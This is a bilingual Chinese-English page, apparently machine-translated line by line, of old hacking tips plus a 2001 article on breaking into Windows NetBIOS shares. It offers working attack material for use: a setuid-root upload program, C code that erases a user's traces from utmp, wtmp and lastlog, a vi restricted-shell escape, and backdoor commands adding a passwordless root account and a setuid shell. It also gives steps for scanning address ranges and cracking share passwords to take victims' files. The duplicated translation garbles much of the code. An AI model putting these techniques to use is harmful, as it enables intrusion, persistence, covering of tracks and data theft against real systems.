黑客入侵的小技巧 Hacking tips

1 UPLOAD 1 UPLOAD
侵入成功后，拿到root权限了，这个东东可以把他的服务器的访问权限改了，让任何人都可以上传文件! Invasion success, to get root privileges, this stuff can access his server changed, so that anyone can upload files!
root 状态下, 运行Install 后, root state, run Install, the
upload 将允许普通用户上载文件至任何目录下。 upload will allow ordinary users to upload files to any directory.
# chmod 755 install # Chmod 755 install
#./install #. / Install
$ more install $ More install
#! /bin/csh -f #! / Bin / csh-f
cc upload.c cc upload.c
cp a.out upload cp a.out upload
chown root upload chown root upload
chmod 755 upload chmod 755 upload
chmod u+s upload chmod u + s upload
$ more upload.c $ More upload.c
#include # Include
main() main ()
{ {
char filename[48]; char filename [48];
printf( "This program will upload up.txt ASCII file to specified file\n" ); printf ("This program will upload up.txt ASCII file to specified file \ n");
printf( "XXX Copyright Reserved\n" ); printf ("XXX Copyright Reserved \ n");
printf( "Where to upload (include path and filename)? " ); printf ("Where to upload (include path and filename)?");
gets( filename ); gets (filename);
upload( filename ); upload (filename);
} }
int upload( filename ) int upload (filename)
char *filename; char * filename;
{ {
FILE *fp,*outp; FILE * fp, * outp;
char c; char c;
fp=fopen( "up.txt","r" ); fp = fopen ("up.txt", "r");
outp=fopen( filename,"w" ); outp = fopen (filename, "w");
if( fp== NULL ) { if (fp == NULL) {
printf( "file not exist." ); printf ("file not exist.");
return 0; return 0;
} }
for( ;; ) { for (;;) {
c= fgetc( fp ); c = fgetc (fp);
if feof( fp ) break; if feof (fp) break;
printf( "%c",c ); printf ("% c", c);
fputc( c, outp ); fputc (c, outp);
} }
fclose( fp ); fclose (fp);
fclose( outp ); fclose (outp);
return 1; return 1;
} }
2 破坏现场进入系统后，出来以前怎么破坏现场？ 2 destruction of the scene into the system, how it destroyed the previous scene? 抹掉自己的脚印? Erase their footprints?

编辑/etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. Edit / etc / utmp, / usr / adm / wtmp and / usr / adm / lastlog.
请使用专门的编辑器 Please use the special editor

例子: Example:

#include # Include
#include # Include
#include # Include
#include # Include
#include # Include
#include # Include
#include # Include
#include # Include
#define WTMP_NAME "/usr/adm/wtmp" # Define WTMP_NAME "/ usr / adm / wtmp"
#define UTMP_NAME "/etc/utmp" # Define UTMP_NAME "/ etc / utmp"
#define LASTLOG_NAME "/usr/adm/lastlog" # Define LASTLOG_NAME "/ usr / adm / lastlog"

int f; int f;

void kill_utmp(who) void kill_utmp (who)
char *who; char * who;
{ {
struct utmp utmp_ent; struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) { if ((f = open (UTMP_NAME, O_RDWR))> = 0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) while (read (f, & utmp_ent, sizeof (utmp_ent))> 0)
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { if (! strncmp (utmp_ent.ut_name, who, strlen (who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent )); bzero ((char *) & utmp_ent, sizeof (utmp_ent));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); lseek (f, - (sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent)); write (f, & utmp_ent, sizeof (utmp_ent));
} }
close(f); close (f);
} }
} }
void kill_wtmp(who) void kill_wtmp (who)
char *who; char * who;
{ {
struct utmp utmp_ent; struct utmp utmp_ent;
long pos; long pos;

pos = 1L; pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) { if ((f = open (WTMP_NAME, O_RDWR))> = 0) {

while(pos != -1L) { while (pos! =-1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); lseek (f, - (long) ((sizeof (struct utmp)) * pos), L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) { if (read (f, & utmp_ent, sizeof (struct utmp)) <0) { pos = -1L; pos =-1L; } else { } Else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { if (! strncmp (utmp_ent.ut_name, who, strlen (who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); bzero ((char *) & utmp_ent, sizeof (struct utmp)); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); lseek (f, - ((sizeof (struct utmp)) * pos), L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); write (f, & utmp_ent, sizeof (utmp_ent)); pos = -1L; pos =-1L; } else pos += 1L; } Else pos + = 1L; } } } } close(f); close (f); } } } } void kill_lastlog(who) void kill_lastlog (who) char *who; char * who; { { struct passwd *pwd; struct passwd * pwd; struct lastlog newll; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((pwd = getpwnam (who))! = NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { if ((f = open (LASTLOG_NAME, O_RDWR))> = 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); lseek (f, (long) pwd-> pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll )); bzero ((char *) & newll, sizeof (newll));
write(f, (char *)&newll, sizeof( newll )); write (f, (char *) & newll, sizeof (newll));
close(f); close (f);
} }

} else printf("%s: ?\n",who); } Else printf ("% s:? \ N", who);
} }

main(argc,argv) main (argc, argv)
int argc; int argc;
char *argv[]; char * argv [];
{ {
if (argc==2) { if (argc == 2) {
kill_lastlog(argv[1]); kill_lastlog (argv [1]);
kill_wtmp(argv[1]); kill_wtmp (argv [1]);
kill_utmp(argv[1]); kill_utmp (argv [1]);
printf("Zap2!\n"); printf ("Zap2! \ n");
} else } Else
printf("Error.\n"); printf ("Error. \ n");
} }

3 突破SHELL 3 breakthrough SHELL
许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如/bin/csh 。 Many ways to attack the system the attacker first needs to have a command line-style Shell, such as / bin / csh. 但有些系统提供给用户的却是菜单式的定制Shell,如pink 。 However, some systems provide to the user is menu-driven customization Shell, such as pink. 所以如果你想攻击这个系统的话，首先必须要冲破这个定制shell。 So if you want to attack this system, then, we must first break through this custom shell.
我们可以利用vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。 We can use vi (UNIX in a standard editor) the number of commands to achieve this goal. 具体过程如下： Procedure is as follows:
(1).在定制Shell中选择编辑文件，这时系统启动vi。 (1) Shell select Edit in the custom file, then the system starts vi.
(2).在vi 中，输入以下命令序列:(注意：输入的命令包括最前面的':' ) (2) In vi, enter the following command sequence: (Note: Enter the command, including the top of the ':')
:set shell=/bin/csh : Set shell = / bin / csh
:shell : Shell
3.这时，就像在DOS程序的File菜单中选择Dos Shell菜单项一样，系统启动一个Shell，而这个Shell刚刚被我们设定成/bin/csh，因此我们就得到了一个命令行式的Unix Shell。 3 At this time, as in the DOS program's File menu, select menu items, like Dos Shell, the system starts a Shell, but Shell has just been us this set / bin / csh, so we get a command line type Unix Shell.

4 后门进入一个系统以后随手留下一个后门确实是很好的习惯:) 这里介绍几种简单的后门设置方法: After 4 back door into a system readily leave a back door really is a good habit:) Here are some simple ways to set the back door:
(1). setuid (1). Setuid
#cp /bin/sh /tmp/.backdoor # Cp / bin / sh / tmp / .backdoor
#chmod u+s /tmp/.backdoor # Chmod u + s / tmp / .backdoor
加上suid 位到shell 上，最为简单方便. With the suid bit in the shell, the most simple and convenient.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd (2). Echo "wyj:: 0:0 ::/:/ bin / csh">> / etc / passwd
即给系统增加一个id 为0（root)的帐号，无口令. That is, to add a system with id 0 (root) account, no password.
(3). echo "+ wyj">>/.rhosts (3). Echo "+ wyj ">>/. rhosts
即本地的名为wyj的用户可以直接rlogin target 无须口令此时的wyj就相当于口令，不知道的人是不能进去的.前提是目标的port 512or513or514 opening. That the local user named wyj can rlogin target without a password at this time wyj equivalent password, do not know people can not go in. premise that target port 512or513or514 opening.

5 用telnet上传文件如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢? 5 If you upload files using ftp telnet is off, sendmail does not work, how to upload files to compile a good host it?
方法很简单: Method is very simple:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子: 1 first to upload files with uuedcode encoded file will become probably look like this:
begin 644 file.bat begin 644 file.bat
MC! J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT4%]J MC! J95 @ T92TP, # 503U !=:%= E6 # 5D9%!>, 2Q & 1D9 & 1C $ L1D9 &, 2PT4%] J
M95@T85!9+ 7@M04%28#!@*CTP,'500D])04%!049+04]"4$E$34-"04Q%04I- M95 @ T85! 9 + 7 @ M04% 28 #! @ * CTP, '500D]) 04%! 049 +04] "4 $ E $ 34 -" 04Q% 04I-
M3D-"2D%,24%!14U-3D-"1D5'24=&0T%%3D="1T1(0T=02$='2DA#2$9(1$-! M3D-"2D%, 24%! 14U-3D-" 1D5'24 = & 0T%% 3D = "1T1 (0T = 02 $ = '2 DA # 2 $ 9 (1 $ -!
M1TI(1$-!1T1'4$=.1TI'3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@ M1TI (1 $ -! 1T1'4 $ =. 1TI'3T = (0T% # 3T-/0T] # 3T-/0T]! 3D% +0 T5! 07% Q <7 $ @ M"D!%0TA/($]&1B`*0T]062`E,"Y" 050@+T(@0SI<0D%45DE2+D-/32`O0B`O M "D!% 0TA /($]& 1B` * 0T] 062 `E," Y "050 @ + T (@ 0SI <0D% 45DE2 + D-/32` O0B `O E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@`` E62 `* 0SI <0D% 45DE2 + D-/32` * 1 $ 5, ($, Z7 $)! 5% 9) 4BY # 3TT"@`` ` ` end end sum -r/size 17903/262 sum -r/size 17903/262 全部都是可见的ASCII字符了 All ASCII characters are visible in the 2.用TELNET连接到主机后输入 (2) to the host using the TELNET connection and enter $ cat >a $ Cat> a
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口按^d Then WINODWS copy / paste, paste the file into the telnet window, press ^ d
在当前目录下产生文件a Generated in the current directory a file
3.uudecode a 3.uudecode a
文件复原,然后chmod即可 File recovery, then you can chmod



基于NetBIOS的简单Windows进攻法 Simple Windows NetBIOS-based attack method
2001-05-06· catsun·www.cners.com 2001-05-06 · catsun · www.cners.com

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大家好，近来网络上的进攻方法层出不穷，但有关的详情不是不够详细，就是太"抽象"，我是catsun，下面和大家讨论一下有关如何进攻NetBIOS。 Hello, everyone, the recent attack on the network method after another, but the details are not detailed enough, is too "abstract", I catsun, below, and we discuss about how to attack NetBIOS. warm-up!Go。 warm-up! Go.
什么是SMB? What is SMB?

为了能沟通，你和我都需要共同的语言，如Chinese or English。 In order to communicate, you and I need a common language, such as Chinese or English. 计算机也一样，有很多计算机"语言"用于沟通互连在网上的机器，这些语言叫"协议"。 The same computer, there are many computer "language" for communicating on-line machine interconnection, these language called "agreement." TCP/IP, NETBEUI, IPX, SNA 和Appletalk都是协议。 TCP / IP, NETBEUI, IPX, SNA and Appletalk are agreements. 有一种很流行的协议，它能使你共享文件，磁盘，目录，打印机，甚至网络端口；这个协议叫做SMB(Server Message Block)标准，它能被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通。 There is a very popular protocol, which enables you to share files, disks, directories, printers, even network ports; this protocol called SMB (Server Message Block) standard, can be used for Warp Connect, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM / UX , AS / UX, Syntax and Samba client or server communication.

怎样应用SMB? How to apply SMB?

Windows SMB被叫做"文件和打印共享"，它允许你访问共享被其他用户许可的文件和文件夹。 Windows SMB called "File and Print Sharing", which allows you to access other users are permitted to share files and folders. 基于Windows 95, 98或Windows Millenium的共享，即使你加了密码也是不安全的，利用这个共享，你可以得到从游戏到信用卡号码，音乐或数据库，甚至任何你想要的信息。 Based on Windows 95, 98, or Windows Millenium's share, even if you add a password is insecure, the use of this sharing, you can get credit card numbers from game to music or database, or even any information you want.

怎样去进攻? How to attack?

1)下载SMBScanner(http://www.cners.com/tools/smbscanner.zip),然后打开它，输入一个IP类。 1) Download SMBScanner (http://www.cners.com/tools/smbscanner.zip), then open it, enter an IP class.
（比如：4.3.37.1-4.3.38.255）建议你去下载IP地址分配表。 (Such as :4.3.37.1-4 .3.38.255) I suggest you go download the IP address allocation table.
2)当搜索完成后，不要用软件本身的功能来"暴力"破解共享密码，请看下一步。 2) When the search is completed, do not use the software itself functions to "violence" crack share passwords, see the next step.
3)打开"运行"(开始-运行)或同时按"窗口键和R"，键入一个用SMBScanner搜出来的IP地址，例子：假如搜出的地址是：3.5.137.138，然后在运行窗口中键入"\\3.5.137.138"，按回车。 3) Open the "Run" (Start - Run) or press the "windows key and R", type a search with SMBScanner out the IP address, example: If the address is found: 3.5.137.138, then in the Run window, type "\ \ 3.5.137.138", press Enter. 然后是等...这要看你的连接速度，一般不会超过30秒，完成后将出现一个带共享名的文件夹。 Then the other ... it depends on your connection speed, generally no more than 30 seconds, when completed, will see a folder with share name. 如果它出现了一些像"不共享""IP地址连接不上"等，不要灰心，毕竟进攻电脑不是那么容易的事儿，你没有失败，看其他的IP。 If it appears some as "not shared" "IP address not connected", etc., do not despair, after all, is not so easy to attack the computer thing, you do not fail to see the other's IP.
4)单击一个带共享名的文件夹，打开它，通常如果此目录叫"C"的话，大概就是受害者的C盘了（希望如此，打开个"game"你还想下载他的游戏么？）打开带共享名的文件夹，这时将出现一个对话框，要密码。 4) Click on a name with a shared folder, open it, if this directory is usually called "C", then, is probably a victim of the C drive (I hope so, open a "game" you want to download the game what he ?) Open the folder with the share name, then a dialog box appears, to the password. 如果没有密码就太好了，你可以直接访问和下载文件了，但不要在此目录里运行可执行文件，按ctrl and C把它们复制到你的本地机器上再执行（catsun在此建议您要注意你下载的文件，万一有病毒!!!，不会有这样阴险的人吧引你上钩）；如果对话框向你要密码，请看下一步。 If no password is good, you can directly access and download files, but do not run the executable file in this directory, press ctrl and C to copy them to your local machine and then execute (catsun is recommended that you have to Note that the file you downloaded, in case a virus!!!, will not have such sinister people it lead you hooked); If you want the password to the dialog box, see the next step.
5)Windows 95, 98, and Millenium有个"速度破解漏洞"（如果想知道详情的话，请来信java@cners.com，我有时间也会写出来的。）进入议题：再打开"运行" 窗口，输入"command"如果你在用WindowsNT/2000的话请输入 5) Windows 95, 98, and Millenium have a "crack speed holes" (if you want to know the details, then please write java@cners.com, I will have time to write out.) Access issues: re-open the "Run" window , enter "command" if you use it please enter WindowsNT/2000
"cmd"打开一个命令窗口，键入"nbtstat -a ipaddress"（帮助文档情况请键入"？"）你将看到如下的输出： "Cmd" to open a command window, type "nbtstat-a ipaddress" (Help document, please type "?"), You will see the following output:

Local Area Connection: Local Area Connection:
Node IpAddress: [4.3.37.XXX] Scope Id: [] Node IpAddress: [4.3.37.XXX] Scope Id: []

NetBIOS Remote Machine Name Table NetBIOS Remote Machine Name Table

Name Type Status Name Type Status
--------------------------------------------- ---------------------------------------------
MATRIX <00> UNIQUE Registered ------------------------重要! MATRIX <00> UNIQUE Registered ------------------------ important!
WORKGROUP <00> GROUP Registered WORKGROUP <00> GROUP Registered
MATRIX <20> UNIQUE Registered MATRIX <20> UNIQUE Registered
MATRIX <03> UNIQUE Registered MATRIX <03> UNIQUE Registered
WORKGROUP <1E> GROUP Registered WORKGROUP <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Registered WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered .. __MSBROWSE__. <01> GROUP Registered
MATRIX <6A> UNIQUE Registered MATRIX <6A> UNIQUE Registered
MATRIX <87> UNIQUE Registered MATRIX <87> UNIQUE Registered

MAC Address = 00-80-C6-F9-XX MAC Address = 00-80-C6-F9-XX

最靠前的名字是NetBIOS name (MATRIX)，第六行的是用户名，（关于词名字，还有其他的进攻方法，但是那是另外一课了，"暴力法"）我在以前的文章里写过的）。 The front is the name of NetBIOS name (MATRIX), the sixth line is the user name (the name of the word, there are other methods of attack, but that is another lesson, "Violence Act") in my previous article Lane wrote of). 注意：请记好NetBIOS name!，我们将用它破解共享名文件夹的password。 Note: Make a note of good NetBIOS name!, We will use it to crack the shared name of the folder password.

6)下载，然后打开PQwak(http://www.cners.com/tools/PQwak.exe)。 6) Download and open PQwak (http://www.cners.com/tools/PQwak.exe).

--在NBMAME右面输入nbtstat中显示的NetBIOS name - Right in NBMAME type nbtstat shows the NetBIOS name
--在SHARE栏里输入受密码保护的共享文件夹名。 - In the SHARE column enter a password-protected shared folder name.
--在IP栏里输入IP地址（期望我们找到的对象在用DSL或长时间上网，否则我们做了那么多后，他下线了，岂不是！？#￥%%……） - Enter the IP address in the IP column (we expect to find objects in the Internet with DSL or a long time, or we have done so much, he is down, is it !?#¥%% ... ...)
--设置DELAY，要看你的连接方式，如果你用56k的小猫的话，建议把DELAY设置在1000-2000，如果你用ADSL的话，建议在800-900。 - Set the DELAY, depends on your connection, if you use 56k cat, I suggest the DELAY setting in 1000-2000, if you use ADSL, I suggest at 800-900.

7)运行PQwak，不会让您浪费很长时间，完成后返回到受密码保护的共享文件夹，打开它，当它要网络密码时，将PQwak里的密码拷贝下来，再粘贴到密码对话框，然后Do what you exactly want to do! 7) Run PQwak, will not let you waste a long time to complete the return to the password-protected shared folder, open it, when it wants the network password, the password will PQwak in the copy down, and then paste it into the password dialog box , then Do what you exactly want to do!

注意：如果你运行PQwak后出现"the password is a " or the password is wrong"，请将DELAY数值调高。 Note: If you run PQwak after "the password is a" or the password is wrong ", set the DELAY value to increase.